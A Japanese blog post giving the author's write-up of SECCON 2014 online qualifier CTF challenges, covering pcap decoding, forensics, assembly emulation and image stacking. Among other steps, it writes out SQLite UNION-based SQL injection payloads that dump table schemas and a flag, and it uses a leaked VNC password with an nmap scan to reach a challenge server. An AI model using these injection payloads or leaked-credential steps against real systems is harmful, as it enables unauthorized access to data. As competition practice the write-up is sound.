st98 の日記帳


[ctf][seccon] SECCON 2014 オンライン予選 (日本語) の write-up

チーム Sobachka として参加した。最終的に獲得できたポイントは 1300 点でチーム順位は 38 位 (425 チーム中) だった。

の 9 問を解いた。

解けた問題

練習問題 (練習問題 100)

そのまま……。

FLAG{seccon2014}

このパケットを解析せよ (ネットワーク 100)

seccon2014.pcapng という pcap ファイルが渡される。

strings seccon2014.pcapng すると Base64 っぽい文字列が出てくる。デコードするとフラッグが出てきた。

$ strings seccon2014.pcapng
…
ChRkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=
atob('RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30='); // => 'FLAG{F7P 15 N07 53CUR3}'

ソーシャルハック? (ネットワーク 300)

http://chat.quals.seccon.jp という URL が渡される。

LINE かと思ったら L1NE だった。

画像の URL を張り付けるとアクセスしてくれるので、アクセスログを見てみる。

153.120.82.112 - - [19/Jul/2014:20:27:28 +0900] "HEAD /hoge.jpg HTTP/1.1" 404 - "-" "MyVNCpasswordIsVNCpass123"

このログから、153.120.82.112 で VNC サーバが動いていることや、そのパスワードが VNCpass123 であることが分かる。

153.120.82.112 の 5900 番ポートに接続しようとしたができなかった。なので他に VNC で開いているポートがないか nmap 153.120.82.112 で探した。

$ nmap 153.120.82.112
Nmap scan report for 153.120.82.112
Host is up (1.1s latency).
Hot shown: 988 closed ports
PORT     STATE    SERVICE
…
5901/tcp open     vnc-1
5902/tcp open     vnc-2
5903/tcp open     vnc-3
…

153.120.82.112:5901 に接続すると、フラッグが表示された。

FLAG{giveMeYourWebM0n3y}

decode me (暗号 100)

encoded.txt という謎のテキストファイルを渡される。

ebg13/47 という文字列が見えたので nkf -r encoded.txt (rot13/47) を試したところ、デコードできた。

$ nkf -r encoded.txt
SECCON 2014 に参加のみなさまこんにちは。
rot13/47 に気付くとは流石です。
nkfコマンドで簡単にデコードできることにも気付きましたか?
というわけで、おめでとうございます!
フラグは半角英数文字に変換してから入力してください。
FLAG{Have fun SECCON2014}

終了の 10 分前ぐらいに突然ひらめいて解けた。

879,394bytes (フォレンジック 100)

Filesystem001.bin という FAT っぽいファイルが渡される。

00 0d 6b 22 で検索すると 1 件ヒットした。

FAT File System を読みながらヒットした辺りを読んでいく。

name1 = b'\x43\x00\x68\x00\x72\x00\x79\x00\x73\x00'         # 0x61 - 0x6a
name2 = b'\x61\x00\x6e\x00\x74\x00\x68\x00\x65\x00\x6d\x00' # 0x6e - 0x79
name3 = b'\x75\x00\x6d\x00'                                 # 0x7c - 0x7f
name4 = b'\x2e\x00\x6a\x00\x70\x00\x67\x00\x00\x00'         # 0x41 - 0x4a

UTF-16 LE で読むと、ファイル名が出る。

(name1 + name2 + name3 + name4).decode('utf-16le') # => 'Chrysanthemum.jpg\x00'

捏造された契約書を暴け (フォレンジック 300)

Timestamp.rar が渡される。解凍すると Timestamp.dd が出てくるので FTK Imager を使って解析する。

unallocated space を適当に見ていると (恐らく JPEG の EXIF 部分?) 2012:05:23 13:29:00 とあった。

指定されたフォーマットに直せばそれがフラッグになる。

2012/05/23 13:29:00

…全然ダメな解き方だった。機 密 保 持 契 約 書.docx の中にある画像の EXIF を見るのが正攻法らしい。

x86アセンブラを読もう (バイナリ 100)

読めなかったので Python で同じ動きをするスクリプトを書いた。

import sys

eax = 0
ecx = 0
edx = 0
stack = [None, None]

def l_01361000():
  stack[0] = 0
  stack[1] = 1
  l_0136101f()

def l_01361016():
  global eax
  eax = stack[1]
  eax += 1
  stack[1] = eax
  l_0136101f()

def l_0136101f():
  global ecx
  ecx = stack[1]
  if ecx > 0xff:
    l_01361032()
  l_01361027()

def l_01361027():
  global edx
  edx = stack[0]
  edx += stack[1]
  stack[0] = edx
  l_01361016()

def l_01361032():
  global eax, ecx
  eax = stack[0]
  eax -= 2

  print('FLAG{%d}' % eax)
  sys.exit()

l_01361000()
FLAG{32638}

重ねてみよう (プログラミング 100)

afterimage.gif というアニメーション gif が渡される。

重ねてみようという問題のタイトルに従って、重ねるスクリプトを書いてみる。

from PIL import Image

im = Image.open('afterimage.gif')

res = Image.new('RGB', (164, 164))
pix = res.load()

for y in range(164):
  for x in range(164):
    pix[x, y] = (255, 255, 255)

try:
  while True:
    print(im.tell())

    im2 = im.convert('RGB').load()

    for y in range(164):
      for x in range(164):
        if im2[x, y] != (0, 0, 0):
          pix[x, y] = (0, 0, 0)

    im.seek(im.tell() + 1)
except EOFError:
  pass

res.save('result.png')

QR コードが出てきたので、携帯で読み取ってみる。

FLAG{Many dot makes a QR code}

箱庭SQLiチャレンジ (Web 100)

まず ' and 0 union select sql, null, null, null, null from sqlite_master where type = 'table'; -- でどんなテーブルがあるか確認する。

ID=CREATE TABLE COMPANY(ID INT PRIMARY KEY NOT NULL, NAME TEXT NOT NULL,AGE INT NOT NULL, ADDRESS CHAR(50), SALARY REAL ) NAME=NULL AGE=NULL ADDRESS=NULL SALARY=NULL
ID=CREATE TABLE SECCON(FLAG TEXT NOT NULL) NAME=NULL AGE=NULL ADDRESS=NULL SALARY=NULL

SECCON というテーブルとそのテーブルに FLAG というカラムがあることが分かったので、' and 0 union select FLAG, null, null, null, null from SECCON; -- で中身を抜き出してみる。

ID=FLAG{EnjoySQLi} NAME=NULL AGE=NULL ADDRESS=NULL SALARY=NULL

解けなかった問題

あみだくじ (プログラミング 300)

amida という謎のファイルが渡される。

file amida したところ次のような結果だった。

amida: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

手元の Kali Linux を立ち上げて実行したところ、あみだくじが出力された。

最終的に * が 1 ~ 8 のどの番号にたどり着くかを入力すればよい。

何度実行しても同じ結果だったので人力でやっていたが、No.200 まで行ったところでキリがないと思って諦めた。

真面目にソルバを書いていればよかったと後悔。あと No.1000 まであるとのことなので途中で諦めて正解だった。

箱庭XSSリターンズ (Web 300)

進める度に使える文字が制限されていくので大変つらかった。

前回のオンライン予選で書いた自分の write-up を見たり XSS Filter Evasion Cheat Sheet - OWASP を見たりしながら解いていたが、Stage 6 まで解いたところでギブアップ。

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳